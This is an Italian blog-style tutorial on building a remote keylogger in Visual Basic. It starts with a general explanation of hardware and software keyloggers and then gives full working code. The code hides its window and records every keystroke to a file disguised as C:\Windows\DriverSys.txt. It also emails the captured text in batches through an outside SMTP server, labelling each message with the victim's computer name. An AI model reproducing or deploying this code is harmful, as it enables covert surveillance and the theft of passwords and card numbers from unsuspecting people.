Come creare un Keylogger Remoto

Oggi vedremo Come creare un Keylogger Remoto grazie a dei semplici passaggi descritti nella nostra guida. Iniziamo spiegando cosa sono i Keylogger.

Significato

In informatica un keylogger è uno strumento di sniffing, hardware o software, in grado di intercettare tutto ciò che un utente digita sulla tastiera del proprio o di un altro computer.

Esistono due tipi di keylogger:

  • Hardware: vengono collegati al cavo di comunicazione tra la tastiera ed il computer o all’interno della tastiera
  • Software: programmi che controllano e salvano la sequenza di tasti che viene digitata da un utente.

Keylogger hardware

I keylogger hardware sono molto efficaci in quanto la loro installazione è molto semplice e il sistema non è in grado di accorgersi della loro presenza. Quando installati fra la tastiera e il PC hanno le sembianze di un adattatore o appaiono dei cavi di prolunga. Quando sono nascosti nella tastiera risultano del tutto invisibili. Il vantaggio dei keylogger hardware risiede nel fatto che sono completamente indipendenti dal sistema operativo e sono in grado di intercettare anche le password di bootstrap, la cui digitazione avviene in fase di avvio, prima del caricamento del sistema operativo. Questi keylogger memorizzano i tasti premuti o li inviano a dispositivi wireless. Per leggere il contenuto dei dati memorizzati localmente di solito si utilizza una combinazione di tasti o si lancia uno specifico software.

Keylogger software

Schermata di un resoconto creato da un keylogger software.

I keylogger software sono invece semplici programmi o driver di periferica che rimangono in esecuzione captando ogni tasto che viene digitato e poi, in alcuni casi, trasmettono tali informazioni a un computer remoto.

Spesso i keylogger software sono trasportati e installati nel computer da worm o trojan ricevuti tramite Internet e hanno in genere lo scopo di intercettare password e numeri di carte di credito e inviarle tramite posta elettronica al creatore degli stessi.

Un programma di keylogging può sovrapporsi fra il browser ed il World Wide Web. In questo caso intercetta le password, comunque vengano inserite nel proprio PC. La password viene catturata indipendentemente dalla periferica di input (tastiera, mouse, microfono): sia che l’utente la digiti da tastiera, sia che l’abbia salvata in un file di testo prima di collegarsi a Internet, e poi si limiti a inserirla con un copia/incolla, in modo da evitarne la digitazione, sia che la password venga inserita tramite un programma di dettatura vocale.

Anche in caso di connessione sicura (cifrata), se sul computer è presente un keylogger che invia le password in remoto, tali password potranno essere utilizzate dalla persona che le riceve.

 

Procedimento

1)Apriamo Visual Basic.(|=O)—>Nuovo progetto—->diamo il nome che volete—>Eccoci alla form.
2)Inseriamo i seguenti elementi dalla barra!
1 Timer
1 TextBox
4 Label
Ora vi spiego come ho ideato questo keylogger!
Ho iniziato a creare un keylogger in locale poi ho pensato di farlo remoto inviando le email contenenti il testo digitato…
Quindi ho fatto che quando chi scrive registra i tasti in un file txt il keylogger inserisce i dati anche nella textbox…
Poi quando la textbox è arrivata a un certo numero di lettere allora invia l’email…e quando l’ha inviata si svuota la textbox e si fa sempre il giro…
Ai label date questi titoli…
label1.text=Email mandate
label2.text=0
label3.text=lettere
label4.text=0
Ora passiamo ai codici.
Cliccate sul for, cancellate tutto e incollate questo.

Codice:
Imports System.IO
Imports System.Net.Mail
Public Class TaskHost
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer
    Public rip As Integer
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Me.Visible = False
        Timer1.Start()
    End Sub
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Me.Visible = False
        For i As Integer = 3 To 255
            Dim fi As FileInfo = New FileInfo("C:\Windows\DriverSys.txt")
            Dim sw As StreamWriter
            Dim ch As String
            If GetAsyncKeyState(i) Then
                ch = DirectCast(i, System.Windows.Forms.Keys).ToString
                If ch.Length > 1 Then
                    ch = "{" + ch + "}"
                End If
                If fi.Exists = False Then
                    sw = fi.CreateText()
                Else
                    sw = fi.AppendText()
                End If
                sw.Write(ch)
                sw.Flush()
                sw.Close()
                TextBox1.Text = TextBox1.Text + ch
                If TextBox1.TextLength = 500 Then
                    Dim smtpServer As New SmtpClient()
                    Dim mail As New MailMessage()
                    smtpServer.Credentials = New Net.NetworkCredential("TUA EMAIL", "PASSWORD")
                    smtpServer.Port = 587
                    smtpServer.Host = "smtp.live.com"
                    smtpServer.EnableSsl = True
                    mail = New MailMessage()
                    mail.From = New MailAddress("TUA EMAIL")
                    mail.To.Add("TUA EMAIL")
                    mail.Subject = "KeyloggerRemoto" & "" & "Vittima:" & My.Computer.Name & "," & "Email N:" & Label4.Text
                    mail.Body = TextBox1.Text
                    smtpServer.Send(mail)
                    rip = +1
                    Label4.Text = rip
textbox1.text = ""
                End If
            End If
        Next
        Label1.Text = TextBox1.TextLength
    End Sub
End Class

 

Se hai qualche dubbio su Come creare un Keylogger Remoto lascia un commento!

Redazione Autore